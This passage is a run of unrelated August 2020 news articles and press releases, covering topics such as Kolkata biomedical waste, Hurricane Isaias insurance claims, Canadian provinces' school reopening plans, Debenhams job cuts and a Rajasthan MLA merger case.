waste is also being generated at homes, where people are staying under home quarantine. Besides, there are institutional quarantine centres and safe homes. Waste collection crisis has deepened because of the poor level of awareness among the public, as many households are either refusing to hand over the medical waste to the authorised collector since it costs Rs 590 for each unit. Many people are dumping the waste in streetside garbage bins, ringing alarm bells about the spread of the pathogen. In most cases, the households are mixing the municipal solid waste, which includes kitchen waste, with biomedical waste. Around 70% of the biomedical waste collected from houses, quarantine centres and safe homes comprise municipal solid waste, including food, paper, and plastic, among others, said an official of the Kolkata Municipal Corporation (KMC). A state health department official said that recently the Central Pollution Control Board (CBCB) had delisted some items generated by Covid care centres, such as plates and glasses, from the list of medical waste and included them in the list of solid waste. We are in touch with the agencies. All options are being explored on how to tackle the impending crisis, said a state health department official. It is a pan-India problem. We need to find a solution either in the form of increasing CBTWFs capacity, which is likely to take a while, or delist some of the medical waste and treat them as municipal solid waste after proper sanitisation. We could be staring at another serious problem as far as biomedical waste management is concerned amid the pandemic, said Dutta. SHARE THIS ARTICLE ON ABOUT THE AUTHOR Joydeep Thakur Joydeep Thakur is a Special Correspondent based in Kolkata. He focuses on science, environment, wildlife, agriculture and other related issues. ...view detail With insured losses projected to reach $4.2 billion, Hurricane Isaias rampage from the Caribbean to Canada was the first significant event from a claims perspective since Hurricane Irma struck Florida in 2017, a claims executive for Crawford & Co. said Monday. Ken Tolson, president of Crawfords U.S. operations, said most of the claims received by his company so far have come from New York, Pennsylvania and New Jersey. He said the company has about 100 adjusters in place in those states, enough to handle the first wave of claims spawned by Isaias. He said the company is sending in approximately 200 more adjusters to the region to handle any overload. They will handle claims as remotely as they can, Tolson said. Its really about optimizing our workforce. The key is getting our people there. We are not waiting. Tolson said because of the COVID-19 pandemic, a much larger share of claim inspections are being handled remotely. Crawford began testing remote claim inspections even before Irma struck Floridas Gulf Coast in 2017, he said, and now can conduct much of its operations virtually. The seeds of readiness were planted in 2017 and before, he said. We were well on our way long before COVID, but COVID has forced us to be a lot more aggressive about it. Crawford & Co. has its work cut out for it. Catastrophe-modeling firm Karen Clark & Co. on Monday released a report that said Isaias caused an estimated $4 billion in insured losses in the United States and $200 million in the Caribbean. The storm came ashore with 85 mph wind is Ocean Isle Beach, N.C. on Aug 3 and continued up the East Coast, crossing into Canada on Aug. 5. KCC said an unseasonably strong jet stream slowed the usual decay rate, allowing Isaias to maintain tropical storm-force winds all the way to Vermont. Wind speeds in New York City were the strongest since Superstorm Sandy in 2012. Downed trees caused scattered structural damage and crushed vehicles in Isaias path, KCC said. Over three million customers along the Atlantic coast were without power following Isaias, and power had not been restored to all households as of Monday. Spotty low-level wind damage to roof coverings, siding, and window openings of commercial and residential buildings has been observed, the KCC report said. Severe structural damage appears to be isolated to older buildings or those impacted by the tornadoes spawned by Isaias. There have been instances of buildings with unique architectural features sustaining significant damage. Tolson said his company has investigated numerous claims related to fallen trees, but most were for relatively minor damage. He said the bigger impact for residents was the power outages caused by the storm. He said a lack of electric service was Crawfords most serious obstacle for adjusting claims. Tolson said power had still not been restored in some areas as late as Monday. That rain had soaked the ground and the big trees those big, beautiful hardwoods have taken the power infrastructure down, he said. Isaias also caused street flooding that led to a significant number of auto claims, said Phil Langley, vice president of client services for SCA Appraisals. He said fortunately, about 260 of the companys 770 field adjusters live in the region struck by the storm. Langley said SCA is also tackling a large share of its claims using remote technology. He said when a car is flooded above the floorboards, most of the time a photo is enough to complete the appraisal because the vehicle is a total loss. Langley said so far, SCA has conducted virtual inspections for slightly more than half of the Isaias claims assigned to it. About the photo: Mickey Parker-Jennings, of Athens, Vt., points to a tree limb that penetrated his bedroom after a tree crashed down on his home a day earlier as a result of Tropical Storm Isaias, Wednesday, Aug. 5, 2020. (Kristopher Radder/The Brattleboro Reformer via AP) minister and independent MLA Shankarrao Gadakh on Tuesday joined the in the presence of Chief Minister and party president at the latters residence here. Gadakh said he joined the as his ideology matches with that of the saffron outfit and because of his loyalty towards Thackeray. With Gadakh's entry into the Shiv Sena, the Thackeray -led party's tally has increased to 57 in the 288-member House. The Sena heads the three-party Maha Vikas Aghadi government in the state. The Soil and Water Conservation minister is the independent legislator from the Nevasa assembly constituency in Ahmednagar district. Thackeray tied Shiv Bandhan on Gadakhs wrist, marking his entry into the saffron party. secretary Milind Narvekar was also present on the occasion. The Shiv Sena is a party which has an understanding of issues concerning farmers and the poor. Since our ideology matches that of the Shiv Sena and given the loyalty towards Chief Minister saheb, I entered the Shiv Sena. Will keep working for my farmer brothers and the poor people under Thackeray sahebs leadership, Gadakh tweeted later. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) More than half of Hispanic business owners in the Houston area reported that sales have dropped since the spread of the coronavirus pandemic and nearly half have had to cut their workforce, according to a survey by the University of Houston. The coronavirus pandemic has hit Hispanic business owners in Houston hard, with about one in four stopping or reducing rent payments and one in eight no longer spending on payroll services, sending a ripple across the broader economy, according to survey conducted by UHs Hobby School for Public Affairs. Twenty-five percent of the businesses surveyed reported they imposed temporary salary cuts, 35 percent reduced work hours and half of the businesses said they consolidated programs to reduce costs. Hispanics are the largest ethnic group in the Houston area, representing nearly 44 percent of the population in Harris County and 25 percent of total consumer and business spending. Hispanics also own 38 percent of small businesses in the Houston area. Hispanic entrepreneurs are the backbone of the regional economy, said Pablo Pinto, director of the Center for Public Policy, the research arm at the Hobby School. The experiences and needs of Hispanic business owners and professionals are crucial to understanding what is happening with the Houston economy and the strength of its recovery from the pandemic. The center surveyed members of the Houston Hispanic Chamber of Commerce in July. Most of the businesses represented reported revenues of less than $1 million and five or fewer employees. The three most common types of Hispanic-owned small businesses are restaurants, professional services and manufacturing. On HoustonChronicle.com: Hispanic and Black residents suffering worse in pandemic, Harris County finds April and May were the toughest months for Todays Business Solutions, an office supply firm that has operated for 17 years in Houston. When employers sent people home to work remotely, companies didnt need as many pens, paper and new office furniture, said Mely Jimenez, the owner of Todays Business Solutions, . It was a hard hit, said Jimenez. Health care providers, which are some of the customers, helped keep the business afloat with steady orders for bottled water, hand sanitizer, masks and cleaning products, Jimenez said. She said she is hoping that business from other customers will pick up so she can bring more employees back. Elizabeth Conley, Houston Chronicle / Staff photographer The high level of uncertainty about the local economy is making Hispanic business owners dependent on government loans and grants to make payroll and pay their bills, said Sunny M.C. Wong, an economist and professor at the Hobby School. But many Hispanic small businesses owners have trouble accessing the government aid. When the Trump administration rolled out the new Paycheck Protection Program this spring to provide financial assistance to small businesses, many local Hispanic businesses didnt have prior relationships with banks, many of which only took loan applications from established customers, said Laura G. Murillo, president and CEO of the Houston Hispanic Chamber of Commerce. Chamber members couldnt get their calls answered by bankers, she said. On HoustonChronicle.com: 378 big Texas companies received $5M or more in federal paycheck protection loans The spread of coronavirus magnifies many of the difficulties already faced by Hispanics in Houston, said Murillo, including language barriers which may make it more difficult to apply for help and low levels of health care coverage because many Hispanics work in jobs that dont provide employer-sponsored plans In addition, many have jobs in restaurants, retail shops and grocery stores that require them to work on site instead of from home, increasing their potential exposure to the coronavirus. lynn.sixel@chron.com twitter.com/lmsixel CORRECTION: The captions in the photos accompanying this story have been updated to correct erroneous information about staff cuts at the business. Plans are being made across the country for how to safely send students back to school in the fall as the COVID-19 pandemic continues. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. Plans are being made across the country for how to safely send students back to school in the fall as the COVID-19 pandemic continues. Here is a look at what the various provinces have said about getting kids back to classes. --- BRITISH COLUMBIA British Columbia has laid out its plan for studies to resume in "learning groups" this fall. School districts are to post final back-to-school details online by Aug. 26. Back to class: Schools will welcome students back full time on Sept. 8, but parents will still have the option of registering their kids for remote learning or home schooling. Groups: Students will be sorted into learning groups to reduce the number of people they come in contact with. For elementary and middle school students, groups will be no larger than 60 people. Secondary school groups will be capped at 120. Physical distancing: Students and staff don't need to maintain physical distancing within their learning group, but contact should be minimized. Outside the group, physical distancing is required. Students should be more spaced out in classrooms. Masks: Students and staff will not be required to wear masks in schools, but the province says it's a "personal choice that will always be respected." New routines: The province is urging schools to stagger recess, lunch and class transition times and take students outside whenever possible. Transportation: Middle and high school students are asked to wear masks on buses. Students should be assigned seats, and a transparent barrier may be used to separate the driver. --- ALBERTA The province is planning to fully reopen schools from kindergarten to Grade 12 this fall. Measures will be tightened if an outbreak occurs and class sizes could be reduced to 20. Back to class: School will be back in session with extra safety measures, but the province says there are programs to support remote and alternative learning. Groups: Schools should sort students into cohorts by class when possible to minimize contact with others. Physical distancing: Physical distancing is recommended when possible. Rooms should be rearranged to increase space between desks. Masks: Masks will be mandatory for staff and many students in some school settings. Students in Grades 4 to 12 must wear masks in all common areas, such as hallways and on buses. Staff are required to wear masks whenever physical distancing cannot be maintained. Mask use will be optional for kids in kindergarten through Grade 3. The government says all students and staff will receive two reusable masks as part of the policy. Transportation: Parents are asked to bring their children to school if they can. Students who take the bus will sit in the same seat every day. New routines: Schools are advised to consider a "no sharing policy," with each student bringing their own supplies. Class, lunch and recess schedules will be staggered. --- SASKATCHEWAN Saskatchewan first unveiled a set of back-to-school guidelines in June, but released more details Aug. 4. Back to class: Students will return to class as early as Sept. 1. Groups: Groups of students and staff members assigned to them should stick together throughout the day and try not to mingle with other groups. Schools should aim to minimize the number of different instructors who interact with students throughout the day. Physical distancing: Officials say maintaining physical distance is "less practical" for younger children, and the focus should be on limiting physical contact. Officials suggest limiting hugs and hand holding and suggest using alternative greetings such as air high fives. Schools are also to have dedicated quarantine areas where symptomatic students can go before they are picked up by parents. Masks: Staff are not required to wear masks or eye protection except when in close contact with someone who is sick. The province says they should only be used when "all other controls have been fully explored." Transportation: Parents should take their kids to school when possible, and pickup and drop-offs should happen outside. Students using school transportation should be assigned seats, and a partition may be used to separate the driver. New routines: Start times, recess, lunch and class transitions may be staggered to allow for more space for physical distancing. Schools should rearrange their classrooms to space out students. Students and staff are asked to bring hand sanitizer. --- MANITOBA The Manitoba government says most students are to be back in classrooms on Sept. 8 with new guidelines to reduce the risk of spreading COVID-19. Back to class: All students from kindergarten to Grade 8 are to have in-class instruction five days a week. High school students will also be in class full time, except in schools where there is inadequate space for physical distancing, in which case there will be some days of remote learning. Groups: When physical distancing isn't possible, students will have to be organized into cohorts no larger than 75, and minimize contact with others. In these cases, there must be at least one metre between their desks. Physical distancing: The province says students are required to maintain a two-metre distance to "the greatest extent possible." When it isn't possible, physical barriers may be an option. Spaces should be arranged to encourage separation. Masks: Masks are not required for students or staff. Transportation: Buses will be running at reduced capacity, and parents will be asked to transport their children to school if they can. New routines: Lunch and recess are to be staggered to minimize congestion, and in many cases teachers will change classrooms instead of students. --- ONTARIO Ontario students will be back in class September, but their schedules and class sizes may vary depending on where they live. Back to class: Elementary students and many high schoolers will be in school five days a week in standard class sizes. However, secondary students at two dozen boards that are higher risk will only attend class half the time, and will spend the rest of the week working on "curriculum-linked independent work." Parents will also have the option to keep their kids out of class, and boards must provide options for remote learning. Groups: For high schoolers in high-risk districts, class sizes will be capped at 15. Meanwhile, elementary students won't be broken up into smaller groups, but will be grouped into cohorts and their exposure to different teachers will be limited. Physical distancing: While Education Minister Stephen Lecce said the aim is to keep students one metre apart from each other, a guidance document says only that schools should promote "as much distancing as possible" rather than being strictly enforced. Masks: Masks will be mandatory for students in Grades 4 through 12, and will be strongly encouraged for younger kids when they're in indoor common areas. Staff will be expected to wear masks. Transportation: Some school boards may have more than one student assigned to a seat. When physical distancing isn't possible, masks will be mandatory for students in Grades 4 to 12, and younger students will be encouraged but not required to do the same. New routines: Students in some districts will have to pre-register for in-person schooling. Some schools may limit or even ban visitors, including parents. Breaks will be scheduled to allow students to wash their hands. --- QUEBEC All elementary and high school students in Quebec will be required to attend class in September unless they have a doctor's note indicating they're at high risk of COVID-19 complications or they live with someone at risk. Those students will be allowed to study remotely. Back to class: Class attendance is mandatory for elementary and high school students. For Grades 10 and 11, schools have the option of alternating schedules where students attend one day out of every two as long as schools cannot maintain stable classroom bubbles. Grade 10 and 11 students are encouraged to attend classes as much as possible. Groups: Each classroom will be its own bubble and students will not be required to maintain a two-metre distance between classmates. Physical distancing: Students will need to keep a two-metre distance from all school staff, as well as all other students outside their classroom bubble. There are no physical distancing requirements for children or teachers in pre-school. Masks: All students in Grade 5 and up as well as all school staff must wear a mask inside all common areas of the school except the classroom. Masks can also be removed when students are eating. Transportation: No more than 48 students will be allowed on a school bus, with no more than two students sitting on the same bench. Preschool and elementary school students are strongly encouraged to wear masks, while older students are required to wear them. New routines: When schools return in the fall, teachers will move from classroom to classroom, but students will stay put. Backup plans: In the event of an outbreak in one class, the entire classroom bubble will be sent home to continue studies remotely. Authorities are also putting together an emergency protocol in the event of a second wave to ensure instruction continues online if entire schools are again forced to close. Ideas include quickly distributing tablets or laptops to students needing them and establishing a digital platform to continue courses and maintain communication. --- NEW BRUNSWICK The province has outlined a set of requirements schools must follow in developing their plans for the fall. Back to class: Students in kindergarten to Grade 8 are to attend school full time, while those in Grades 9 to 12 are to be taught using a combination of in-class and remote instruction. At-home course work can include online learning, guided projects and experiential education. Groups: For kindergarten through Grade 2, group sizes will be reduced to about 15, wherever possible. Group sizes should also be shrunk for Grades 3 to 5. Grades 6 to 8 will resume at regular class sizes. Students in Grades 9 to 12 will not be grouped because of their schedules and course options. Physical distance: Grade 9 to 12 classrooms are required to maintain a one-metre distance, while a two-metre distance is recommended in common areas at all grade levels. Masks: It's unclear where the province stands on staff and students wearing masks. Transportation: The province says it's working with school districts to develop plans for transportation. Pickup and drop-off schedules may be staggered. New routines: Arrivals, breaks and lunches are to be staggered. Public access to school buildings will be limited, and students, staff and visitors may also be subject to screening. High school students will be expected to have their own laptop or similar device, and some subsidies will be available. --- PRINCE EDWARD ISLAND Schools on the Island are preparing to welcome all students back to class, while drafting backup plans for remote studies if required. Back to class: Schools are to reopen for teachers and staff on Sept. 1 and for students on Sept. 8. Groups: Students will be organized into cohorts when possible and limit their exposure to others. Physical distancing: Students will be taught about the importance of physical distancing, and extra teaching and cleaning staff may be hired. Schools are also asked to reduce class sizes as much as possible, reconfigure classrooms and make use of spaces such as libraries and multipurpose rooms. Masks: The province says all staff and students in Grades 7-12 are "strongly recommended" to wear masks when physical distancing cannot be maintained. Students from kindergarten through Grade 6 may wear masks when physical distancing is impossible. Staff interacting with children who have complex medical needs are strongly recommended to wear face shields and gloves. Transportation: Parents are asked to take their kids to school whenever possible. To reduce the number of riders on buses, schools may add vehicles and routes or implement walk-to-school programs. It is strongly recommended that all students and drivers wear masks on the bus. New routines: P.E.I. education authorities are revising curricula for this school year to make up for learning gaps caused by lockdown constraints. Schools will stagger schedules to minimize congestion. The provincial school food program will be expanded next year in keeping with public health precautions. Elementary school students will stay in their classrooms for lunch. --- NOVA SCOTIA Education Minister Zach Churchill says the province's objective is for schools to return to 100 per cent capacity in the fall, but its plan includes measures to address the possible onset of a second wave of COVID-19. Back to class: The province aims to have all elementary and high school students in classrooms by Sept. 8. Groups: Students will be asked to keep to cohorts. Physical distancing: Students and staff will be encouraged to maintain a two-metre distance whenever possible. Lecture rooms will be reorganized to increase space between desks. Masks: Masks are not required in classrooms, but students and staff may choose to wear them. While it's recommended that they bring their own, masks will be provided to those who don't have one. Staff and students in Grades 10 to 12 must wear masks when physical distancing is difficult. Transportation: Students who take the school bus will be required to wear non-medical masks. New routines: Only students and staff will be permitted to enter school buildings. When possible, teachers will be asked to move their classes outdoors. Students will be asked to bring their own computers to school, and the province says it has acquired an additional 14,000 devices for those with limited access to technology. Backup plans: If a COVID-19 outbreak occurs during the academic year, schools will move to a blended learning model with smaller class sizes and home learning for older students. --- NEWFOUNDLAND AND LABRADOR The province's back-to-school plan aims to maximize in-class attendance with the option of a return to remote learning if the COVID-19 risk increases. Back to class: The province's plan outlines three scenarios in-class instruction, remote learning or a combination of both, depending on the COVID-19 risk in a particular community. Groups: Cohorting by class is recommended when it's feasible, but students' schedules shouldn't be disrupted to support smaller groupings. Physical distancing: Schools should aim to create a two-metre distance between desks, or as much distance as possible. However, provincial authorities say these precautions should not interfere with the daily school routine, and strict physical distancing should not be "over-emphasized" to children, because it is not practical and can cause psychological harm. Masks: The province does not recommend masks for children, but says their use should not be "stigmatized" for those that choose to wear them. Staff will not be required to wear masks if physical distancing is possible. Transportation: It will be up to school districts to determine their transportation operations, considering precautions such as assigning seats and separating the driver with a physical divider. New routines: All students must bring their own supplies in keeping with a "no sharing" policy. Backup plans: In the event of moderate-to-widespread transmission of COVID-19, school districts will move to online learning. Classroom attendance should be limited to about 50 per cent when the COVID-19 risk in a community is considered low to moderate. Newfoundland and Labrador says it will spend $20 million to purchase laptops for teachers and students in Grades 7 through 12 to support remote learning. --- YUKON The territorial government says it's making plans for the next school year that include flexibility around the number of students in classes if there's a second wave of COVID-19 or increased risk of transmission. It says each school will determine how it will adjust its operations to meet those guidelines, and school principals and staff are expected to share that information prior to September. Back to class: Preliminary plans indicate that in rural communities, all students will return to school full time. In Whitehorse, however, kids in kindergarten through Grade 9 will return to full-day in-school instruction, while Grades 10 to 12 will spend half their day in the classroom, and the rest learning remotely. Groups: Class sizes may be smaller to meet safety restrictions. Masks: Wearing masks is a personal choice. Transportation: Bus school and schedules will be posted to the territory's website. New routines: Schedule shakeups may mean that some students won't have their regular teacher or the same classmates. School meal programs may be adapted with new safety measures and pickup options. Backup plans: The territory has outlined a spectrum of school options if the risk to the community increases, ranging from rotating schedules to suspension of face-to-face learning. --- NORTHWEST TERRITORIES All N.W.T. schools have submitted plans to reopen their doors this fall. The territory says education authorities are taking a flexible approach in their planning to account for a potential second wave of COVID-19 in the fall. Back to class: While plans will vary from school to school, the territory will offer in-person instruction whenever possible, while ensuring alternative options are available. Groups: Students in kindergarten through Grade 6 will be in classroom "bubbles," and won't have to practise physical distancing within these groups. Physical distancing: For Grades 7 to 9, students are asked to maintain a one-metre distance from each other, and two-metre distance from staff. Grade 10 to 12 students are asked to allow for two metres of distance from their peers and instructors. Masks: Students of all ages may be required to wear masks in situations where physical distance cannot be practised, such as moving through the hallways. Transportation: There may be changes to bus schedules, and all riders will be required to wear masks. New routines: More time will be spent learning outside. School hours and schedules may also look different. Students are asked to label personal items and not share. Backup plans: The territory says schools are preparing to shift between in-person, distance and blended learning at short notice should there become active COVID-19 cases. --- NUNAVUT The territory has released a four-stage plan for reopening schools based on the risk of the novel coronavirus in a community. Back to class: There are no reported COVID-19 cases in Nunavut, so all schools are set to reopen this fall with enhanced cleaning and safety precautions. Groups: It is recommended that schools cohort students by class and limit mixing as much as possible. Physical distancing: Distance requirements will depend on what stage a community is in, and will primarily be achieved by limiting school attendance. Masks: In most cases, the use of masks is not recommended for children. If there are exceptions, parents will be notified, and masks will be provided. Transportation: As it stands, bus schedules are set to resume. Students older than 13 may be required to wear masks. New routines: Group activities will be limited. Students won't be allowed to share food in lunchrooms. Backup plans: The territory says schools could go part-time if contact tracing were to identify a possible source of COVID-19. All schools would be closed if community transmission were to take place. This report was first published by The Canadian Press on Aug. 3, 2020. Debenhams has confirmed that its Derry store will be impacted by plans to cut a substantial number of jobs. The chain, which was already struggling before the pandemic forced the closure of stores in March, said it was taking the action as part of efforts to ensure the business has 'every chance of a viable future' The 2,500 job losses are spread across the store network & distribution centre but we havent broken down numbers on a store-by-store basis. We have successfully reopened 124 stores, post-lockdown, and these are currently trading ahead of management expectations. At the same time, the trading environment is clearly a long way from returning to normal and we have to ensure our store costs are aligned with realistic expectations. Those colleagues affected by redundancy have been informed and we are very grateful to them for their service and commitment to Debenhams. Such difficult decisions are being taken by many retailers right now, and we will continue to take all necessary steps to give Debenhams every chance of a viable future. In April of this year Debenhams announced that administrators had been appointed to 'protect the business'. It aimed to open as many stores as possible once Coronavirus restrictions were lifted. However, the company said that it would liquidate all 11 stores in the Republic of Ireland and they were not expected to reopen. More than 1,000 Debenhams workers in Ireland were notified that theyd lost their jobs. The Taoiseach Micheal Martin said the company has treated its Irish workers in a 'very shabby way' in depriving them of redundancy entitlements and he believes the law must be re-examined. The Foyleside store reopened once permitted to do so by the government but no update could be provided on its long-term future. Last month Debenhams workers from as far afield as Cork protested outside the Debenhams store on Foyle Street in Derry to make consumers aware of what they described as their employers 'despicable' actions. Mandate Trade Union has said the company didnt set aside finances to pay the workers their agreed redundancy package, having transferred valuable assets to the UK parent company. Valerie Conlon who worked in the Debenhams store on Patrick Street in Cork for 24 years said: We are not going to let this company just walk away and not pay. Weve given decades of service and helped make huge profits for Debenhams so for them to just abandon their responsibilities is a disgrace. She added: We will be making everyone aware of how Debenhams treats its workers, and if that means traveling six hours to Derry, so be it. If they can do this to us and get away with it, how do we know it wont be the workers in Derry next? CORALVILLE, Iowa, Aug. 11, 2020 /PRNewswire/ -- VIDA Diagnostics, Inc. ("VIDA"), the leader in lung and respiratory intelligence, announced today that it is has appointed Karen Drexler to its board of directors, further expanding the company's leadership strength in digital health technology. Drexler's appointment comes at a critical time in healthcare, as the world continues to address the potential long-term lung health implications of the COVID-19 pandemic. VIDA, with its suite of AI-powered lung intelligence solutions and analytics, is uniquely positioned to modernize lung and respiratory care for patients with or at risk of a variety of complex lung diseases. "Karen has a stellar entrepreneurial and operating background in digital health technology, along with an impressive track record of commercial success," said Susan Wood, Ph.D., president and CEO of VIDA. "Her addition to the board will further fuel our market expansion during and beyond the COVID pandemic and bolster our mission to modernize lung care." Drexler is an experienced leader with a long list of business achievements, receiving multiple independent accolades over the years for entrepreneurship and a 2018 recognition by Women's Inc. magazine as one of the "most influential corporate directors" for her role as board director of ResMed (NYSE: RMD). Drexler continues to serve on the board for ResMed, a market leader in digital health devices that track sleep and other respiratory conditions like asthma and COPD. She also serves on the board of Tivic Health and is a member of the Women Corporate Directors, National Association of Corporate Directors, and Stanford Women on Boards. With 11 patents to her name, Drexler is an accomplished inventor, entrepreneur, and operational expert. She founded and led Amira Medical until its sale to Roche Diabetes Care and managed several functions within LifeScan until that company was acquired by Johnson and Johnson. "Now more than ever, the world needs technology innovation that will modernize standards of care for lung disease," said Drexler. "I'm thrilled to join the VIDA board of directors at this pivotal time for the company and look forward to supporting VIDA as it works to evolve respiratory and lung care for current and future generations of patients." Drexler, who earned a Bachelor of Science in chemical engineering from Princeton University and a Masters in Business Administration from Stanford University Graduate School of Business, is committed to supporting and advancing the careers of other entrepreneurs. She is active in Astia (www.astia.org) and Springboard (www.sb.co), nonprofit organizations that support female entrepreneurs, is a founding member of Astia Angels, and is an advisor for Springboard's Life Science and Women's Health Councils. Drexler is a guest lecturer at Stanford on topics related to medical device design and mobile health and is a mentor for the Stanford Biodesign Fellowship and StartX, the off-campus Stanford business accelerator. VIDA's growing recognition as a leader in AI-based imaging is founded on its suite of software solutions, which empower healthcare organizations and physicians in the fight against lung and respiratory disease. In the first half of 2020, VIDA has been recognized as a leader in AI for healthcare by Forbes, Frost & Sullivan, Healthcare Technology Report, and others. In addition, Wood was recently named one of the "Top 50 Healthcare Technology CEOs of 2020," by The Healthcare Technology Report. About VIDA VIDA modernizes lung and respiratory care, empowering healthcare organizations and physicians to improve patient outcomes, streamline care coordination and drive efficiencies through a comprehensive approach, proven quality and clinical leadership. Through quantitative data intelligence and impactful visualizations, VIDA helps physicians manage patients with or at risk of chronic obstructive pulmonary disease (COPD), interstitial lung disease, lung cancer, and now, COVID-19. VIDA's software is FDA cleared, CE-marked, Health Canada licensed and TGA registered for clinical use in the US, European Economic Area, Canada, and Australia. Learn more at vidalung.ai. SOURCE VIDA Diagnostics, Inc. Related Links http://vidalung.ai I'm not alone when I say that I've never been through anything like this and didn't see it coming. I had no way of imagin... Bengaluru, Aug 11 : Recognising the importance of immunology at a time when the coronavirus pandemic is terrorizing the world, Karnataka government has announced that it will set up an immunology and vaccine research centre in the city in collaboration with renown Emory University from the USA, said a minister on Tuesday. "Keeping in mind the importance of immunology in the future, the state is very keen to establish an immunology and vaccine research centre in the city in collaboration with the Emory University," said Deputy Chief Minister C.N. Ashwath Narayan. Narayan held a webinar with Rafi Ahmmad, director of Emory Vaccine Center and discussed the importance of immunology, which is critical to address vaccines, infectious diseases, cancer research and others. "The results of researches done now in the field of immunology will be the solution to problems of coming days. Hence, investments done in this area are going to fetch fruitful results," told Ahmmad to Narayan in the webinar. The Emory professional explained that the entire world is pondering about immunology and effective vaccine at this juncture. According to Narayan, the state government is very keen on finding novel coronavirus diagnostic tests and is looking at the larger benefits of setting the vaccine centre. "The state has a very robust ecosystem suitable for research and innovation. It needs to be focused on research in the development of vaccines, clinical trials, and translation of research studies to the benefit of the larger society," he said. He highlighted that Bengaluru houses up to 20 institutes of national eminence which are being engaged in vaccine development activities. "All these will be integrated and the government is ready to support through policy implementation. The rigid restrictions which were in place earlier with regard to clinical trials are now being relaxed," pointed out Narayan. Ahmmad said Emory Vaccine Center has developed highly specified and sensitive rapid test for Covid-19 which was adopted by hospitals in Atlanta, Georgia state, USA, where the university is located. The Emory professional said the university is also engaged in plasma therapy, human molecular antibodies developments and other areas. "There is a scope for academic collaboration between Karnataka and Emory Center. In the current situation, this can be achieved through an online platform. This will facilitate the exchange of knowledge between students of Karnataka and the Center," Ahmmad said. Particularly, the collaboration is also expected to benefit students of doctoral studies. "Immunology is the primary focus field of the Center. Specifically, cancer immune therapy is the area that is being concentrated," said Ahmmad. Vishal Rao, a doctor from HealthCare Global (HCG) hospital spearheading plasma therapy for coronavirus in Bengaluru has also attended the virtual meeting. Emory Vaccine Center is from the Emory University, which conducts fundamental and clinical research for the development of vaccines against diseases of global concern. Located in Druid Hills neighbourhood of Atlanta, Emory University is a top ranked private university. It was established in 1836. The six MLAs had contested and won the 2018 Assembly election on BSP tickets but they defected to Congress in September 2019 New Delhi: The Supreme Court said it would hear on Tuesday the petitions filed on the issue relating to merger of six BSP MLAs with the Congress in Rajasthan last year. The apex court was hearing a plea filed by a BJP MLA who has challenged the Rajasthan High Court order which had refused to stay their merger with the Congress. The MLAs merged with the ruling party in the state in September last year. A bench headed by Justice Arun Mishra said that appeal filed by BJP MP Madan Dilawar would be heard along with a separate plea filed by the six MLAs. In their plea, these six MLAs have requested the apex court to take up Dilawar's plea pending in the high court in which he is seeking their disqualification for allegedly violating the party whip. Dilawar has challenged in the apex court the 6 August order of a division bench of high court which had disposed of his plea against the order of a single judge, who had refused to stay the functioning of these six MLAs as Congress legislators. During the hearing conducted on Monday through video-conferencing, senior advocate Harish Salve, appearing for Dilawar, told the apex court that in September last year the Assembly Speaker had passed an order accepting the merger. He said that BSP has said that they have not merged. While saying that the issue is pending before a single judge of the high court, he also referred to the plea filed by the six MLAs in the apex court. The bench said it would hear both the matters on Tuesday. The single judge of high court had earlier not granted any interim relief and refused to put a stay on the participation of six MLAs in the proceedings of the House as Congress legislators. Sandeep Yadav, Wajib Ali, Deepchand Kheria, Lakhan Meena, Jogendra Awana and Rajendra Gudha contested and won the 2018 assembly election on a BSP ticket but they defected to Congress in September 2019. They had submitted an application for the merger on 16 September last year and the Speaker allowed their induction into the Congress two days later. The merger was a boost to the Ashok Gehlot-led government as the tally of the Congress increased to 107 in the house of 200. In their plea filed in the apex court, these six MLAs have contended that similar petitions, raising questions on disqualification under the 10th Schedule of the Constitution, are pending before the Supreme Court and, therefore, the plea filed against them in the high court should be transferred to the top court. They said the high court cannot exercise the power of judicial review in "purely political questions" but can examine questions if they emanate from a constitutional duty or obligation. They have said in their plea that it would be in the interest of justice that the matter is transferred to the top court and heard together with similar petitions filed there. Two petitions have been filed in the high court, one by Dilawar and the other by BSP National Secretary Satish Mishra. Dilawar has challenged the merger of the BSP MLAs into Congress, questioning Assembly Speaker CP Joshi's order dismissing his complaint without allowing him to have his say. Mishra has challenged the defection of the MLAs, but these legislators have not sought transfer of his plea to the Supreme Court. On 30 July, the high court had sought the response of the Assembly Speaker and its secretary on the pleas challenging the induction of the six MLAs into the Congress. Amid a political crisis triggered by a rebellion by Sachin Pilot and 18 other MLAs, the Speaker had moved the top court for a stay on the high court's order which had asked him to defer disqualification proceedings against the sacked deputy chief minister and the 18 others. On 31 July, the Rajasthan Congress chief whip Mahesh Joshi also moved the top court challenging the high court order asking the Speaker to defer disqualification proceedings. Washington: A federal judge on Monday ordered the unsealing and release of correspondences from lawyers for celebrity lawyer Alan Dershowitz and Victoria's Secret founder Leslie Wexner in a defamation case that is likely to reveal more about the secretive life of disgraced financier Jeffrey Epstein. US District Judge Loretta Preska set an August 17 date for a hearing on whether the retail magnate Wexner can be forced to testify in a defamation case brought against him by one of Epstein's victims, Virginia Roberts Giuffre. Alan Dershowitz also acted as lawyer for US President Donald Trump during this years impeachment proceedings. Credit:Bloomberg Preska wrote that she saw "no reason for that correspondence to remain under seal" and told the parties to file their respective letters on the public docket, which happened on Monday afternoon. The documents show that Dershowitz alleges that Giuffre is trying to extort money from him because of his relationship as a longtime friend to and lawyer for Epstein. No Ukrainian army casualties were reported over the past day. Ukraine has reported one enemy provocation on Monday, August 10, as Russia's hybrid military forces violated the newly-agreed truce in Donbas, eastern Ukraine. "One enemy provocation with the use of rifles was recorded near the town of Krasnohorivka. An isolated random shot posed no threat to life and health, so our soldiers did not return fire," the press center of Ukraine's Joint Forces Operation (JFO) said in a Facebook update as of 07:00 Kyiv time on August 11, 2020. Read alsoZelensky sees Normandy as "beginning of Donbas freedom" The Joint Forces were abiding by the ceasefire, being ready to adequately respond to possible attacks by the adversary, it said. No Ukrainian army casualties were reported over the past day. Since Tuesday midnight, no attacks by Russian Federation's armed formations have been recorded, the JFO HQ said. The situation is under full control of the Ukrainian military. Background STATE COLLEGE, Pa., Aug. 11, 2020 /PRNewswire/ -- As disinfecting and indoor-air quality become top of mind to many Americans, Green Home Solutions has proven to be at the forefront of both rapidly growing industries. Entrepreneurs are taking note too. In the first half of 2020, Green Home Solutions, the first franchise to specialize exclusively in indoor-air quality, has signed 25 new franchise agreements, a six-month record for the brand. Of the 25 new franchise agreements, an impressive 19 came from six 